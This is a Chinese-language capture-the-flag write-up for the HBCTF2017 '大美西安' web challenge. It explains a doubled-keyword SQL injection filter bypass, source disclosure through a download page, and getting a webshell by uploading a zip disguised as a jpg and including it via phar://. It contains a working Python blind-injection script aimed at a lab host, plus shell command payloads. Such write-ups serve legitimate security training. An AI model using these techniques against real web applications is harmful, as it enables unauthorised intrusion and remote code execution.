[HBCTF2017]大美西安题解
[HBCTF2017]大美西安
考点
- sql双写绕过
- 文件包含
- 文件上传
难度
- 中下
解题过程
首先进入题目是一个登录页面,url为index.php?file=login。
首先测试有没有sql注入,经过测试没有成功。看到url,联想到文件包含,使用php://filter读源码发现不可以,直接读一些如/etc/passwd之类的文件,均提示Attack Detected!
查看登录页面的源码,发现注释中提示了有注册页面,随意注册一个账号然后登录即可进入下面的页面。
该页面包含上传、下载和查看功能,查看的url形式为index.php?file=view&id=,这里很容易想到去测试sql注入,输入单引号、or表达式等均没有反应,说明存在过滤,尤其是输入1'竟然完全不受影响,这里我合理怀疑作者使用了replace函数进行过滤,可以尝试双写绕过。
在download页面,发现可以成功读取网站源码,这里使用了16进制编码的字符来绕过单引号被过滤的限制。
可以读取到index.php,downfile.php等文件内容,其中config.php显示了过滤内容,random_str函数涉及到上传的文件文件名生成,后面会有用。顺便提一句,如果该函数里面的字符集有大写字母,那这个题的难度会陡增,因为mysql是不区分大小写的,但是文件系统是区分的。
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key] = d_addslashes($array[$key]);
}
}
return $array;
}
function filter($id){
$id = strtolower($id);
$id = str_replace('select', '', $id);
$id = str_replace('update', '', $id);
$id = str_replace('insert', '', $id);
$id = str_replace('delete', '', $id);
$id = str_replace('and', '', $id);
$id = str_replace('or', '', $id);
$id = str_replace('where', '', $id);
$id = str_replace('union', '', $id);
$id = str_replace('like', '', $id);
$id = str_replace('regexp', '', $id);
$id = str_replace('is', '', $id);
$id = str_replace('=', '', $id);
$id = str_replace(',', '', $id);
$id = str_replace('|', '', $id);
$id = str_replace('&', '', $id);
$id = str_replace('!', '', $id);
$id = str_replace('%', '', $id);
$id = str_replace('^', '', $id);
$id = str_replace('<', '', $id);
$id = str_replace('>', '', $id);
$id = str_replace('*', '', $id);
$id = str_replace('(', '', $id);
$id = str_replace(')', '', $id);
return $id ;
}
function random_str($length = "32")
{
$set = array("a", "b", "c", "d", "e", "f",
"g", "h", "i", "j", "k", "l",
"m","n", "o", "p", "q", "r","s","t","u","v", "w","x",
"y","z","1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
下面是index.php的内容,因为发现index.php可以存在文件包含,这里对其逻辑进行分析。
include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
$file = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;
if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}
$filename = $file.".php";
if(!include($filename)){
if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}
#后面省略,没有价值
}
从中很容易发现,过滤确实导致php://filter不可用,但是zip、phar等伪协议并没有被禁止,因此可以上传一个zip文件,文件中存在一个shell文件。只需file=phar://path/xx/jpg/xx即可。因为.php后缀会被自动添加,所以xxx后面无须写其他东西。
小结一下,如果想获得webshell,从而拿到flag,需要上传一个zip在进行访问即可(压缩文件的后缀改为jpg等图片格式)。现在唯一的难点在于上传的zip文件的地址,可以通过sql注入的方式获得,同样利用downfile.php,使用正则注入即可(其他的也可,比如order by注入)。payload的内容见exp。
exp
import string
import requests
import libnum
url = 'http://5eceef43-4f6b-4f4d-817d-5412bff5e782.node4.buuoj.cn:81/downfile.php'
text = "-1 uniunionon seselectlect location from download whwhereere location regregexpexp 0x557031306144732f{}"
strings = "abcdefghijklmnopqrstuvwxyz123456789"
payload = {"image":"","image_download":"收藏"}
headers = {"Cookie":"UM_distinctid=17eb97e258b6b8-0f7f7fc463cc53-133a6253-13c680-17eb97e258c90b; PHPSESSID=d5r18ggc2n9hchu9p75drmede2"}
result = ''
while True:
flag = False
for s in strings:
location = hex(ord(s))[2:]
payload["image"] = text.format(result+location)
r = requests.post(url=url,data=payload,headers=headers)
if len(r.text)==165:#上传的zip的大小,可以用其他方式
result+=location
print(libnum.n2s(int(result,16)))
flag = True
break
if not flag:
break
输出
然后包含相应的文件即可,形式为file=phar://xxxxxx/xx.jpg/a。
注意index对GET和POST的参数均进行了转义,因此涉及到单双引号斜杠的内容可能无法执行。
几个payload示例:
echo `ls`;
system(ls);